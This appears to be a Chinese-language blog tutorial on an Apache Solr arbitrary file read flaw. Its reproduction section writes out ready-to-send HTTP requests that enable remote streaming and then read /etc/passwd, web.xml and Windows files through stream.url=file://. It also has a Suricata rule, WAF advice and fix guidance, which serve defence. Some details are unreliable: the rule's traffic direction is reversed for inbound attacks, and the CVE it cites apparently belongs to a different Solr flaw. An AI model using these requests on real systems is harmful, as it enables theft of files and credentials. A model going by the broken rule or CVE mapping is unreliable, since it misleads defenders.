Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析
Apache Solr <= 8.8.1 任意文件读取漏洞深度解析:从手工复现到流量特征提取
漏洞背景与影响范围
Apache Solr作为企业级搜索平台,在8.8.1及以下版本中存在一个危险的任意文件读取漏洞(CNVD-2021-30146/CVE-2019-17558)。这个漏洞允许攻击者在未授权的情况下读取服务器上的任意文件,包括但不限于:
- 系统敏感文件(/etc/passwd、/etc/shadow)
- 应用配置文件(数据库连接字符串、API密钥)
- 源代码文件(可能包含硬编码凭证)
受影响版本:
- Apache Solr 5.0.0 至 8.8.1
1. 漏洞原理深度剖析
该漏洞的核心在于Solr的requestDispatcher.requestParsers.enableRemoteStreaming配置项可以被远程修改,结合debug/dump接口的流处理功能,实现任意文件读取。
1.1 漏洞利用链分解
完整的攻击流程可分为三个关键阶段:
- 配置篡改阶段:通过API修改
enableRemoteStreaming为true - 流处理激活阶段:调用
debug/dump接口触发流处理功能 - 文件读取阶段:通过
stream.url参数指定目标文件路径
POST /solr/demo/config HTTP/1.1 Host: vulnerable-host:8983 Content-Type: application/json { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }1.2 关键参数解析
| 参数名称 | 作用 | 安全风险 |
|---|---|---|
| enableRemoteStreaming | 控制是否允许远程流处理 | 开启后允许从任意URL读取数据 |
| stream.url | 指定数据流来源 | 可被滥用指向file://协议读取本地文件 |
| debug/dump | 调试接口 | 提供原始数据输出功能 |
2. 手工复现全流程
2.1 环境准备与初始检测
检测漏洞是否存在:
- 访问Solr管理接口获取core名称:
curl "http://target:8983/solr/admin/cores?indexInfo=false&wt=json" - 检查响应中的
name字段(如示例中的"demo")
必要工具:
- Burp Suite Community/Professional
- curl命令行工具
- 支持HTTP代理的浏览器
2.2 分步攻击演示
步骤1:修改关键配置
使用Burp Repeater发送以下请求:
POST /solr/demo/config HTTP/1.1 Host: target:8983 Content-Type: application/json Content-Length: 92 { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }预期响应:
{ "responseHeader": { "status": 0, "QTime": 12 } }步骤2:构造文件读取请求
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.url=file:///etc/passwd关键技巧:
- 路径中的
./用于绕过某些简单的路径检查 file://协议必须使用三个斜杠(file:///)
2.3 高级利用技巧
读取WEB-INF/web.xml:
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded stream.url=file:///var/lib/tomcat/webapps/solr/WEB-INF/web.xmlWindows系统文件读取:
stream.url=file:///C:/Windows/System32/drivers/etc/hosts3. 流量特征分析与检测规则
3.1 关键请求特征
配置修改请求特征:
- POST请求路径包含
/config - JSON body中包含
enableRemoteStreaming设置为true - Content-Type为application/json
文件读取请求特征:
- POST请求路径包含
/debug/dump - 参数中包含
stream.url=file:// - Content-Type为application/x-www-form-urlencoded
3.2 Suricata检测规则示例
alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"Apache Solr Arbitrary File Read Attempt"; \ flow:to_server,established; \ content:"POST"; http_method; \ content:"/config"; http_uri; \ content:"enableRemoteStreaming"; http_client_body; \ content:"true"; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)3.3 WAF防护建议
推荐拦截规则:
- 监控对
/solr/.*/config的POST请求 - 检测请求体中
enableRemoteStreaming=true的JSON内容 - 拦截包含
stream.url=file://的请求参数
4. 防御与修复方案
4.1 官方修复措施
升级方案:
- 立即升级到Apache Solr 8.8.2或更高版本
- 如果无法立即升级,应用官方补丁
临时缓解措施:
<!-- 在solrconfig.xml中添加 --> <requestParsers enableRemoteStreaming="false" multipartUploadLimitInKB="2048" />4.2 安全加固建议
网络层防护:
- 限制Solr管理接口的访问IP
- 启用身份认证(Basic Auth或Kerberos)
系统层防护:
- 使用专用账户运行Solr服务
- 配置严格的文件系统权限
监控策略:
- 日志监控异常的config修改请求
- 建立对debug/dump接口的访问告警
在实际渗透测试项目中,这个漏洞往往能成为突破内网边界的关键点。记得在一次红队评估中,我们正是通过这个漏洞读取到了AWS元数据服务凭证,最终拿下了整个云环境控制权。
